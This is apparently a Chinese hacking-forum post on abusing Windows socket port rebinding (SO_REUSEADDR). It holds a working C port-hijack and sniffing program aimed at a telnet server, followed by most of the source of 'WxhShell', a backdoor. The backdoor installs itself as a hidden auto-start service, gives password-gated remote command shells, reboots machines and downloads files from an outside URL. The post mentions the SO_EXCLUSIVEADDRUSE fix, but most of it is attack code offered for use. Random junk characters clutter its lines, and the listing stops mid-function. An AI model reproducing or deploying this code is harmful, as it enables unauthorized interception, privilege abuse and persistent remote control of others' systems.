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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g`41d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eMUt%zvb  
E&\ 0+-Dw  
  saddr.sin_family = AF_INET; b25C[C5C  
(q=),3/<pU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !eD f}~  
B\quXE)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <p#+('N`  
4R9y~~+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W>E|Iv[o  
CD)JCv  
  这意味着什么?意味着可以进行如下的攻击: #M[%JTTn  
\!4_m8?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5:SS2>~g  
{0\9HI@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]U.*KkQ  
*NoixV1>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P u,JR  
"Pzh#rYY~W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b yX)4&  
m 8P`n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 > |(L3UA9  
v=E(U4v9e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q4Y7 HE|ym  
tIo b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Tn""3#1g  
J,t`il T  
  #include Dn+hI_"# _  
  #include %G'P!xQhy  
  #include 6~a4-5;>z  
  #include    S.*LsrSV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;AJ6I*O@+  
  int main() J(Zz^$8]<?  
  { U,Z7n H3_  
  WORD wVersionRequested; T< o8lL  
  DWORD ret; ria.MCe\!  
  WSADATA wsaData; "; mlQyP  
  BOOL val; @ [%K D  
  SOCKADDR_IN saddr; !iU$-/,1e  
  SOCKADDR_IN scaddr; x+,:k=JMT  
  int err; 3?<LWrhV3  
  SOCKET s; @J<RFgw#  
  SOCKET sc; 8Bx58$xRq  
  int caddsize; f;obK~b[  
  HANDLE mt; Zo}vV2  
  DWORD tid;   & DhdB0Hjf  
  wVersionRequested = MAKEWORD( 2, 2 ); cs*"9nKl  
  err = WSAStartup( wVersionRequested, &wsaData ); #S"s8wdD  
  if ( err != 0 ) { n {..Q,z  
  printf("error!WSAStartup failed!\n"); m`Pk)c0  
  return -1; wnHfjF  
  } W'R^GIHs  
  saddr.sin_family = AF_INET; '8;'V%[+  
   G$;cA:p-j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #E#Fk3-ljQ  
^n*:zmD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 05o<fa2HE  
  saddr.sin_port = htons(23); Oe lf^&m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8+8L'Yv;  
  { zE i\#Zg$  
  printf("error!socket failed!\n"); W>&!~9H  
  return -1; I !O5+Er  
  } *s|'V+1  
  val = TRUE; ,91n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hpYW1kfQl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )&qr2Cm*  
  { yacN=]SW5  
  printf("error!setsockopt failed!\n"); ~%@1-  
  return -1; >~L0M  
  } +HlZ ?1g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8LUl@!4b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +g_m|LF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Bv#?.0Ez;  
+NVXFjPC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a&u!KAQ  
  { Y)DF.ca(  
  ret=GetLastError(); HJt '@t=Ak  
  printf("error!bind failed!\n"); 5 hW#BB  
  return -1; ^7YZ>^  
  } C]Q}HI#G  
  listen(s,2); <TgVU.*  
  while(1) ^#U[v7y  
  { co-1r/ -O  
  caddsize = sizeof(scaddr); < Df2  
  //接受连接请求 oj@=Cq':-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \cK#/;a#  
  if(sc!=INVALID_SOCKET) Xq}}T%jcd  
  {  2.'hr/.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z=Xh  
  if(mt==NULL) Vz evOS  
  { k t+h\^g  
  printf("Thread Creat Failed!\n"); (6&"(}Pai  
  break; g!^mewtd  
  } l[[^]__  
  } LuVL <W  
  CloseHandle(mt); Y++n0sK5<  
  } 8~3I^I_v  
  closesocket(s); +'_ peT.8  
  WSACleanup(); {u4AOM=)  
  return 0; =]1cVnPI  
  }   wLNk XC  
  DWORD WINAPI ClientThread(LPVOID lpParam) m[Mw2F  
  { Pk=0pHH8q  
  SOCKET ss = (SOCKET)lpParam; I]BhkJ  
  SOCKET sc; ^ 4*#QtO  
  unsigned char buf[4096]; t*`Sme]"B  
  SOCKADDR_IN saddr; TeFi[1  
  long num; AuZISb%6  
  DWORD val; Wl }J=  
  DWORD ret; ^tIYr <I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D[)_ f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n%Oq"`w4  
  saddr.sin_family = AF_INET; v# e*RI2}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N%%trlDXD  
  saddr.sin_port = htons(23); gw^W6v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8fktk?|  
  { N#XC%66qy!  
  printf("error!socket failed!\n"); ~y"OyOi&  
  return -1; 9Ais)Wy%p  
  } *X^ C+F  
  val = 100; (p] S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P)LOAe1'  
  { ,C|{_4  
  ret = GetLastError(); .&I!2F  
  return -1; fYpJ2y-sA  
  } 6cD3(//  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N-q6_  
  { F{c8{?:  
  ret = GetLastError(); bh#6yvpMR  
  return -1; xxwbX6^d  
  } %(]B1Zg6,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Cq'{ %  
  { &eqqgLz  
  printf("error!socket connect failed!\n"); bZ^'_OOn  
  closesocket(sc); vP=H 2P  
  closesocket(ss); v*c"SI=@M=  
  return -1;  J%T=FU  
  } h<8c{RuoZC  
  while(1) DiGHo~f  
  { #2"'tHf4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JSmg6l?[u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s_^N=3Si   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +KWO`WR  
  num = recv(ss,buf,4096,0); @Ae&1O;Zh  
  if(num>0) Onou:kmf1  
  send(sc,buf,num,0); 53d`+an2  
  else if(num==0) %UhLCyC/  
  break; V<?0(esgR  
  num = recv(sc,buf,4096,0); -yb7s2o  
  if(num>0) Jd',v  
  send(ss,buf,num,0); 5NhAb$q2Y  
  else if(num==0) /I{K_G@  
  break; 6q!Q(_  
  } a .?AniB0  
  closesocket(ss); 3\{\ al   
  closesocket(sc); .J8 gW  
  return 0 ; X*w;6 V  
  } 3Bvz& `\  
~wOMT  
wXZ9@(^  
==========================================================  Z'l!/l!  
[9j,5d&m  
下边附上一个代码,,WXhSHELL f`_{SU"3  
BUV4L5(  
========================================================== f8V )nM+v"  
y>#kT  
#include "stdafx.h" BE],PCpPr  
l!W!Gz0to  
#include <stdio.h> !&3"($-U3G  
#include <string.h> EyA(W;r.  
#include <windows.h> B&<5VjZ\  
#include <winsock2.h> >[wB|V5  
#include <winsvc.h> 2X*n93AQi  
#include <urlmon.h> p$= 3$I  
;!lwB  
#pragma comment (lib, "Ws2_32.lib") g{uiY|  
#pragma comment (lib, "urlmon.lib") &; p}HL,  
ShvC4Xb 0  
#define MAX_USER   100 // 最大客户端连接数 6@3v+Vf'  
#define BUF_SOCK   200 // sock buffer J><hrZ  
#define KEY_BUFF   255 // 输入 buffer vu}U2 0@  
;l<Hen*  
#define REBOOT     0   // 重启 B1s&2{L6K  
#define SHUTDOWN   1   // 关机 E>gLUMG$  
;]=@;? 9  
#define DEF_PORT   5000 // 监听端口 "Mv^S'?>  
:#_k`{WG  
#define REG_LEN     16   // 注册表键长度 lUp%1x+  
#define SVC_LEN     80   // NT服务名长度 Io>U-Zd\>  
6W3."};  
// 从dll定义API m=/HUt3(&0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `[XH=-p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o1b.a*SZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2']0c  z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~m0=YAlk?  
=CS$c?  
// wxhshell配置信息 CdcB E.%<  
struct WSCFG { 6 OvH"/X4  
  int ws_port;         // 监听端口 k6Vs#K7a  
  char ws_passstr[REG_LEN]; // 口令 ;~WoJlEK3  
  int ws_autoins;       // 安装标记, 1=yes 0=no =knLkbiq7,  
  char ws_regname[REG_LEN]; // 注册表键名 'O9Yu{M  
  char ws_svcname[REG_LEN]; // 服务名 *UJB *r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gbh/ `  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yp@cn(:~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3[l\l5'm8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K|6}g7&X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b j<T`M!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bNtOqhi  
uH7rt  
}; R$MR|  
#BS!J&a  
// default Wxhshell configuration V\FlKC   
struct WSCFG wscfg={DEF_PORT, ^YfAsBs&  
    "xuhuanlingzhe", Z/v )^VR  
    1, |Xd& aQ  
    "Wxhshell", @E h(GZN  
    "Wxhshell", upJ y,|5  
            "WxhShell Service", <Nc9F['&#  
    "Wrsky Windows CmdShell Service", t*6C?zEAU  
    "Please Input Your Password: ", KVViTpZ  
  1, 9c1q:>|  
  "http://www.wrsky.com/wxhshell.exe", U~c9PqjZ  
  "Wxhshell.exe" vt5>>rl  
    }; je>gT`8  
^r]-v++  
// 消息定义模块 c\tw#;\9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M$f_I +  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zx"0^r}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SL^%Zh/~  
char *msg_ws_ext="\n\rExit."; miCY?=N`  
char *msg_ws_end="\n\rQuit."; `fVzY"Qv k  
char *msg_ws_boot="\n\rReboot..."; &qa16bz  
char *msg_ws_poff="\n\rShutdown..."; HJ!)&xT  
char *msg_ws_down="\n\rSave to "; 6+PP(>em  
$D f1t  
char *msg_ws_err="\n\rErr!"; }:0HM8B7!  
char *msg_ws_ok="\n\rOK!"; a{?>F&vnU  
+OB&PE  
char ExeFile[MAX_PATH]; )_kEy>YscZ  
int nUser = 0; ~IQjQz?  
HANDLE handles[MAX_USER]; CyB1`&G>  
int OsIsNt; O&">%aU1I  
?:zMrlX  
SERVICE_STATUS       serviceStatus; 6skd>v UU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u/\Ipk/  
)%!X,  
// 函数声明 dQ<e}wtg  
int Install(void); n4ti{-^4|d  
int Uninstall(void); z:{R4#(Q  
int DownloadFile(char *sURL, SOCKET wsh); 91#n Aj%  
int Boot(int flag); O9{A)b!HB  
void HideProc(void); xlW>3'uHfa  
int GetOsVer(void); rmI@ #'  
int Wxhshell(SOCKET wsl); HI)U6.'  
void TalkWithClient(void *cs); EVbDI yFn  
int CmdShell(SOCKET sock); x6=tS  
int StartFromService(void); a1weTn*  
int StartWxhshell(LPSTR lpCmdLine); 2Ju,P_<dt  
_&xkj8O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O}7aX '  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ACgWT  
TR{dNO!q  
// 数据结构和表定义 27H4en; o=  
SERVICE_TABLE_ENTRY DispatchTable[] = bW'Y8ok[v  
{ %5(v'/dQ  
{wscfg.ws_svcname, NTServiceMain}, -ktYS(8&  
{NULL, NULL} `"bp -/  
}; ;[Hrpl S  
I]ol[ X0S  
// 自我安装 q{)Q ?E  
int Install(void) jH4Wu`r;m  
{ _LZ 442  
  char svExeFile[MAX_PATH]; j!`2Z@  
  HKEY key; /p@0Q [E  
  strcpy(svExeFile,ExeFile); ?T_hK  
QOF'SEq"k  
// 如果是win9x系统,修改注册表设为自启动 0 f"M-x  
if(!OsIsNt) { hM`*- +Zb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /M_kJe,%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UgLJV2M6  
  RegCloseKey(key); faI4`.i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;V1e>?3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _]=, U.a=/  
  RegCloseKey(key); -QP1Se*#  
  return 0; o/\z4Ri)$  
    } cGjkx3l*  
  } ^kj%Ekt7  
} Bk~M^AK@~  
else { QgX[?2  
oI%.oP}G  
// 如果是NT以上系统,安装为系统服务 C/pu]%n@4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $d7{q3K&1  
if (schSCManager!=0) iD9hqiX&  
{ ZsYT&P2  
  SC_HANDLE schService = CreateService T?FR@. Rm  
  ( =p';y&   
  schSCManager, (tP^F)}e5  
  wscfg.ws_svcname, rW3fd.;kss  
  wscfg.ws_svcdisp, D$c4's `5  
  SERVICE_ALL_ACCESS, :YZMR JL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aG\B?pn-  
  SERVICE_AUTO_START, bwh.ekf8  
  SERVICE_ERROR_NORMAL, zHCz[jlrMq  
  svExeFile, K&noA  
  NULL, Q}jl1dIq  
  NULL, KcjP39@I  
  NULL,  3^zO G2  
  NULL, `_v|O{DC{  
  NULL ysiBru[u  
  ); ?5 d3k%  
  if (schService!=0) "$BWP  
  { }mC-SC)oSi  
  CloseServiceHandle(schService); %fz!'C_4  
  CloseServiceHandle(schSCManager); r yO\$m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D?Q{&6p  
  strcat(svExeFile,wscfg.ws_svcname); @YTZnGG*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { up7]Yy;o=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rB:W\5~7  
  RegCloseKey(key); YvK8;<k@-?  
  return 0; p`JD8c  
    } X^H)2G>e  
  } mko<J0|4  
  CloseServiceHandle(schSCManager); m.p{+_@M&  
} /^\6q"'  
} #\$R^u]!  
]f q.r  
return 1; @vaK-&|#$  
} ?c^0%Op  
; ,]T|> M  
// 自我卸载 kGMI ?  
int Uninstall(void) ]|[oL6"  
{ pVt8z|p_;{  
  HKEY key; MI@id  
m$:o+IH/  
if(!OsIsNt) { A@ EeX4N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7!`,P  
  RegDeleteValue(key,wscfg.ws_regname); iFW)}_.  
  RegCloseKey(key); FHI` /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o+(.Pb  
  RegDeleteValue(key,wscfg.ws_regname); 0p_/eWww-  
  RegCloseKey(key); ]-& ehW  
  return 0; ^~2GhveBV  
  } Sf)VQ5U!Y  
} 5/Q^p"  
} wg*2mo  
else { YZdp/X6x  
Qd 1Q~PBla  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tm(.a ?p  
if (schSCManager!=0) 2hl'mRW  
{ ayuj)]b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uHUicZf.  
  if (schService!=0) .S17O}  
  { *S_eYKSl  
  if(DeleteService(schService)!=0) { Im1e/F]  
  CloseServiceHandle(schService); p UWj,&t  
  CloseServiceHandle(schSCManager); h \b]>q@  
  return 0; bH&Cbme90-  
  } 3ADT Yt".  
  CloseServiceHandle(schService); INsc!xOQ  
  } {b[8x   
  CloseServiceHandle(schSCManager); XS]=sfN  
} Q uy5H  
} G@anY=D\EB  
H~1*`m  
return 1; h&||Ql1  
} ,Utp6X  
74rz~ZM 5  
// 从指定url下载文件 !q! =VC  
int DownloadFile(char *sURL, SOCKET wsh) vDz)q  
{ ](4V 3w.  
  HRESULT hr; J.mEOo!>  
char seps[]= "/"; Funep[rA  
char *token; w%)=`'s_  
char *file; ad8kUHf  
char myURL[MAX_PATH]; E% Ce/n  
char myFILE[MAX_PATH]; J_OIU#-B  
.xuLvNyQr  
strcpy(myURL,sURL); C".&m  
  token=strtok(myURL,seps); _=XzQZT!L  
  while(token!=NULL) jm'(t=Ze  
  { Uwr inkoeE  
    file=token; d {a^  
  token=strtok(NULL,seps); ' D+h_*H  
  } wX" 6 S:  
"d>{hP  
GetCurrentDirectory(MAX_PATH,myFILE); gR"'|c   
strcat(myFILE, "\\"); <7/_Vs)F0  
strcat(myFILE, file); f@Rn&&-  
  send(wsh,myFILE,strlen(myFILE),0);  qm&}^S  
send(wsh,"...",3,0); |S|0'C*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f@T/^|`mh  
  if(hr==S_OK) E$; =*0w  
return 0; ]fI v{[A_  
else p#) u2^  
return 1; snO d 3Bw  
 8Br*  
} >XjSVRO  
',?v7&  
// 系统电源模块 RxY ;'NY  
int Boot(int flag) *g]q~\b/;  
{ :XEP:8  
  HANDLE hToken; uuHR!  
  TOKEN_PRIVILEGES tkp; X"YH49?  
DcE)6z#  
  if(OsIsNt) { #"fBF/Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LCx{7bN1ro  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '{p/F $  
    tkp.PrivilegeCount = 1; R<@s]xX_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l9"0Wu@_x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N}b/; Y  
if(flag==REBOOT) { )4>M<BO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (wU<Kpt?J  
  return 0; I?LJXo\O  
} Nl,M9  
else { trcG^uV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T_|%n F-+  
  return 0; MWl?pG!Y  
} ]/hF!eO  
  } G?CaCleG  
  else { Q;W[$yvW  
if(flag==REBOOT) { wl1i @&9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5A oKlJrY  
  return 0; CRf!tsj@  
} N7:=%Fy(  
else { b<>GF-`w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9J h"1i>x2  
  return 0; QPB@qx#@  
} 8+K=3=05#U  
} ~sT/t1Rp  
xDU>y  
return 1; b9Jah  
} "S)2<tV  
(T:OZmEO.  
// win9x进程隐藏模块 ?=,4{(/)  
void HideProc(void) m}&cXY  
{ \^a(B{   
3fPd|F.kF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V}gP'f07zy  
  if ( hKernel != NULL ) G<n(\85X  
  { )@+lfIE(l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A/V"&H[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j06?Mm_c2  
    FreeLibrary(hKernel); afrU>#+"  
  } vM )2F  
&c!d}pU}  
return; -}avH  
} XJJdCv^  
@!k\Ivd  
// 获取操作系统版本 W,<L/ZKJ  
int GetOsVer(void) y.,S}7l:  
{ |m{Q_zAB  
  OSVERSIONINFO winfo; XfY~q~f8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %B9iby8)1  
  GetVersionEx(&winfo); 0-Z sV3I&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OSP#FjH  
  return 1; &%J+d"n(  
  else hLF+_{\C|  
  return 0; j{}-zQ]n  
} w&&uk[Gh/a  
fDe4 [QQ8  
// 客户端句柄模块 X^204K%:  
int Wxhshell(SOCKET wsl) o=/Cje  
{ jvfVB'Tmr  
  SOCKET wsh; F.;G6  
  struct sockaddr_in client; RSL%<  
  DWORD myID; nT7{`aaQl  
<(|No3jx  
  while(nUser<MAX_USER) F\pw0^K;N  
{ $E=t6WvA  
  int nSize=sizeof(client); /WIO@c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Xy]z  
  if(wsh==INVALID_SOCKET) return 1; b1X.#pz7F  
Y# <38+Gd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,$;g'z!N  
if(handles[nUser]==0) *7`N^e  
  closesocket(wsh); Ub1?dk   
else 3,`.$   
  nUser++; Y>OL2g  
  } M :m-iX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m>po+7"b  
i&cH  
  return 0; Z=;+) #,  
} lHYu-}TNP  
NW-l_]k  
// 关闭 socket HSt|Ua.c/h  
void CloseIt(SOCKET wsh) V<} ^n  
{ &&1q@m,cP  
closesocket(wsh); ^iaeY jI  
nUser--; *%0f^~!G<p  
ExitThread(0); ETu7G5?  
} P\ yt!S2  
 L_+0[A  
// 客户端请求句柄 j/zD`yd j  
void TalkWithClient(void *cs) IB wqu w+  
{ a S- rng  
JCIm*6~  
  SOCKET wsh=(SOCKET)cs; !'14mN#A  
  char pwd[SVC_LEN]; vP G!S{4  
  char cmd[KEY_BUFF]; ?e |'I"  
char chr[1]; {Y5h*BD>  
int i,j; &`7~vA&c  
d}f| HOFq  
  while (nUser < MAX_USER) { ujcS>XN,1  
h.)2,  
if(wscfg.ws_passstr) { -_jV.`t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F"a^`E&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~qNpPIrGr  
  //ZeroMemory(pwd,KEY_BUFF); D#%J||  
      i=0; [5%/{W,~m  
  while(i<SVC_LEN) { #( nheL  
=J8)Z'Jr  
  // 设置超时 1A23G$D  
  fd_set FdRead; H+zn:j@~L  
  struct timeval TimeOut; $"{V],:T |  
  FD_ZERO(&FdRead); 4Uz:zB  
  FD_SET(wsh,&FdRead); $8&HpX#h$  
  TimeOut.tv_sec=8; [BhpfZNKRA  
  TimeOut.tv_usec=0; _lQ+J=J$.R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QnxkD)f*0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i7~oZ)w  
4~a0   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /2u;w !oi.  
  pwd=chr[0]; hE:P'O1  
  if(chr[0]==0xd || chr[0]==0xa) { |xzqYu?o  
  pwd=0; 'OGOT0(  
  break; Y,D\_il_  
  } OxF\Hm)(  
  i++; }jd[>zk  
    } We#*.nr{3Z  
)I+1 b !U  
  // 如果是非法用户,关闭 socket gx[#@ (  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); se_zCS4Y  
} @6*<Xs =  
(p} N9n$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B^Ql[m&5+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5d}PrYa  
f Jv 0 B*  
while(1) { (I.uQP~H  
C>68$wd>  
  ZeroMemory(cmd,KEY_BUFF); 5, Yk5?l<'  
cb%w,yXw  
      // 自动支持客户端 telnet标准   {>FA ~}cX.  
  j=0; Tf@t.4\  
  while(j<KEY_BUFF) { Wr)% C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZJ=C[s!wu  
  cmd[j]=chr[0]; |[34<tIN  
  if(chr[0]==0xa || chr[0]==0xd) { D3.sR\Hxf  
  cmd[j]=0; :o}7C%Q8  
  break; !+)$;`  
  } $Z28nPd/  
  j++; g8kw|BgnL  
    } A94VSUDA:  
flLmZ1"  
  // 下载文件 ,A6*EJ\w   
  if(strstr(cmd,"http://")) { `MTOe 1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  7/7A  
  if(DownloadFile(cmd,wsh)) McsqMI6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1#rCFC|y  
  else 6AQ;P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DBmcvC  
  } T[Gz  
  else { }4 $EN  
RTl7vzG  
    switch(cmd[0]) { D[-Ct  
  Gj)Qw 6  
  // 帮助 wG{o bsL.!  
  case '?': { p`d:g BZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^d=Z/d[  
    break; O_iX 1@SW  
  } ;%k%AXw  
  // 安装 Z#J{tXZc  
  case 'i': { Og*1pvN<  
    if(Install()) /Cg/Rwl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<c Hx/  
    else nVM`&azD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =p7W^/c  
    break; cEQa 6  
    } sNZPv^c  
  // 卸载 eD(a +El}  
  case 'r': { *xjIl<`pK  
    if(Uninstall()) G? _,(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G7=8*@q>:  
    else ~w*ojI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w`v\/a_  
    break; p-6.:y  
    } Qp?+_<{  
  // 显示 wxhshell 所在路径 H5%I?ZXw4  
  case 'p': { iGlZFA  
    char svExeFile[MAX_PATH]; #FQVhgc  
    strcpy(svExeFile,"\n\r"); }wb;ulN)  
      strcat(svExeFile,ExeFile); bbM !<&F  
        send(wsh,svExeFile,strlen(svExeFile),0); e/3hb)#;  
    break; ?d0Dfqh_  
    } VA%i_P,  
  // 重启 S\rfR N  
  case 'b': {  "O 'I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Smu x&e  
    if(Boot(REBOOT)) ;(,Fe/wvC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #e=^-yE  
    else { }<S2W\,G  
    closesocket(wsh); _L72Ae(_  
    ExitThread(0); H}~^,B2;  
    } 8UcT? Zp  
    break; /W>"G1)  
    } ;Vy'y  
  // 关机 X[ (J!"+  
  case 'd': { LN^8U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T{M:)}V  
